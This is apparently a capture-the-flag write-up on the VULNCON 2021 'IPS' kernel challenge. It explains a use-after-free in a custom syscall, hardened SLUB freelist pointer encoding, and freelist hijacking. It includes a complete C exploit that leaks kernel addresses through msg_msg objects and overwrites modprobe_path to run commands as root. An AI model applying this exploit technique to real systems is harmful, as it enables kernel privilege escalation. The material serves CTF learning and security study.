0xFF tl;dr

I learned this skill from this article.

This article introduces kernel heap freelist hijacking and related mitigations.

It’s also a write-up for challenge IPS(VULNCON 2021).

0x00 Prologue

Before reading you should know: Linux Kernel Exploitation Technique: Overwriting modprobe_path.

Thank @zolutal for saving me during hacking.

The first part of this article is the same as this article, which introduces another method to solve this challenge. I attached these paragraphs for a better reading experience.

0x01 Challenge

The attachment is available here.

This challenge is not like other kernel challenges I solved - it implemented a syscall so our task for this challenge is exploiting the vulnerable syscall. The syscall IPS maintains an array of chunks while each chunk stores the user data. However, there are some interesting vulnerabilities in the syscall.

SYSCALL_DEFINE2

First, in SYSCALL_DEFINE2, here is a double_fetch: It fetches udata->data twice: one for length check and another for copying. We can provide a valid length in check but provide a longer string while copying. However, Kyle told me it’s somehow hard to exploit so I just skipped this vulnerability. I’ll check why it’s hard to exploit later.

copy_storage

Second, copy_storage didn’t check the return value of target_idx and get_idx may return -1 when the array is full, which means copy_storage may copy the pointer to the array[-1]. Also, in remove_storage, we will not clean the pointer on array[-1], which causes UAF.

edit_storage

Luckily, for this function, it does nothing even if the idx is -1 so we can edit the array[-1].

Others

Other options in the challenge may pollute the kernel data, such as (chunks[last_allocated_idx]->next = chunks[idx]; in alloc_storage). But it’s hard to use them to exploit so I only focused on the combination of copy_storage and edit_storage

0x02 Freelist

Tip: what you should know FREELIST pointer randomisation before reading this section.

For objects in the same slab, there is metadata on the freed chunks, which is similar to the fd pointer in user space. It’s also encoded by safe-linking. The related source code is in function freelist_ptr_encode

static inline freeptr_t freelist_ptr_encode(const struct kmem_cache *s,
					    void *ptr, unsigned long ptr_addr)
{
	unsigned long encoded;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
	encoded = (unsigned long)ptr ^ s->random ^ swab(ptr_addr);
#else
	encoded = (unsigned long)ptr;
#endif
	return (freeptr_t){.v = encoded};
}

If CONFIG_SLAB_FREELIST_HARDENED is enabled, we need to leak s->random and the address of the chunk that we try to attack. Btw, swab function changes the byte order of ptr_addr. For example, if ptr_addr=0xdeadbeef11223344, then swab(ptr_addr)=0x44332211efbeadde.

If we can modify the freelist, we can link an arbitrary fake object to the freelist and get it by the malloc function. There are no checks for alignment and other disgusting stuff in the user space heap. So we can link basically arbitrary writeable addresses into freelist to achieve arbitrary write.

0x03 Exploitation

Unlike the solutions attacking the function pointers and other slabs, we can attack modprobe_path to transfer arbitrary writing to arbitrary execution. And modprobe_path’s address is stable as long as we leak kernel.text, which is easier than crossing slab attacking. So the plan is

0x04 Exploitation Script

#include "libx.h"
// https://github.com/n132/libx/tree/main
#include "libx.h"
#define ISP 548
typedef struct {
  int idx;
  unsigned short priority;
  char *data;} dt;
void add(char *buf, int priority){
    dt dt;
    dt.priority = priority;
    dt.data = buf;
    return syscall(ISP,1,&dt);
}
void del(int idx){
    dt dt;
    dt.idx = idx;
    return syscall(ISP,2,&dt);
}
void edit(int idx, char *buf){
    dt dt;
    dt.idx = idx;
    dt.data = buf;
    return syscall(ISP,3,&dt);

}
void copy(int idx){
    dt dt;
    dt.idx = idx;
    return syscall(ISP,4,&dt);
}
int main()
{   
    char *atk = malloc(0x1000);
    memset(atk,'\1',0x1000);
    size_t *hook = &atk[0xfd0];
    char *ctx = calloc(1,0x1000);

    
    for(int i= 0 ; i< 0x10;i++)
    {
        memcpy(ctx,dp('i',10),10);
        add(ctx,0x1000+i);
    }
        
    copy(0);
    del(0);
    int msgid1 = msgGet();
    int msgid2 = msgGet();
    msgSend(msgid1,"Wat",0x50);
    
    edit(-1,strcat(dpn('\xff',10,18),p64(0x2024)));
    msgMsg* msg = msgRecv(msgid1,0x1000);
    msgSend(msgid2,"Wat",0x50); // Refil
    edit(-1,strcat(dpn('\xff',10,18),p64(0x2024)));
    char *msg_ctx = msg->mtext;
    

    struct memIPS{
        size_t next;
        size_t offset;
        size_t found;
    } mem[0x10];
    memset(mem,0,sizeof(mem));
    size_t kernel_text = 0;
    for(int i =0 ;i<0x200-2;i++){
        int idx = i+1;
        size_t value = *(size_t *)(&msg_ctx[idx*8]);
        // info(value);
        if(value==0x6969696969696969){
            size_t meta = *(size_t *)(&msg_ctx[i*8]);
            size_t ips_idx = (meta&0xff);
            mem[ips_idx].offset = i*8-8+0x30;
            mem[ips_idx].next = *(size_t *)(&msg_ctx[i*8-8]);
            mem[ips_idx].found = 1;
        }
        if((value&0xfff)==0x9a0){
            kernel_text = value;
        }

    }
    if(kernel_text==0)
        panic("[!] Can't Leak Kernel Text");
    else
        kernel_text -= 0x16429a0;
    
    size_t victim_addr  = 0;
    size_t leaker       = 0;
    size_t offFreelist= 0;
    
    for(int i=0;i<0x10;i++){
        if(mem[i].found == 1 && mem[i+1].found==1){            
            victim_addr = mem[i].next-mem[i+1].offset+mem[i].offset;
            leaker = mem[i].next+0x40;
            del(i);  // Free mem[i]
            del(i+1);// Free mem[i+1]
            offFreelist = mem[i+1].offset;
            break;
        }
    }
    if(offFreelist==0)
        panic("[!] Not able to find IPS objects.");
    
    msgid1 = msgGet();
    msg = msgRecv(msgid2,0x1000);
    msgSend(msgid1,"Wat",0x50); // Refil
    size_t  *leakedFd= msg->mtext+offFreelist+0x10;
    size_t magic = (*leakedFd)^(victim_addr)^(swab(leaker)); //Leak Magic
    info(magic);
    size_t modprobe = 0x144fa20+kernel_text;
    info(kernel_text);
    edit(-1,strcat(dpn('\xff',18,18+8),p64(leaker-0x40+0x10)));
    msgid2 = msgGet();
    msg = msgRecv(msgid1,1);
    msgSend(msgid2,strcat(dpn('\xff',0xfd0+0x28,0xfd0+0x78),p64(magic^swab(leaker)^(modprobe-0x10))),0xfd0+0x78);
    add(ctx,1);
    add(ctx,2);
    add(strcat(dpn('\xff',0x2,0x60),"/home/user/n132"),3);
    modprobeAtk("/home/user/","cat /flag > /n132");
    system("cat /n132");
}

0x05 Related Functions

0x06 Epilogue

This method is simple since it only attacks the current slab page and it’s very strong. We can get AAW from UAF if we can leak enough information. Moreover, we don’t need to perform corse slab skills. Also, modprobe_path is a very helpful skill, it converts AAW to code execution.

The path of this method is Use After Free-> Leaking + Arbitrary Address Free-> Arbitrary Address Write-> Code Exectuion, which is kind of generic.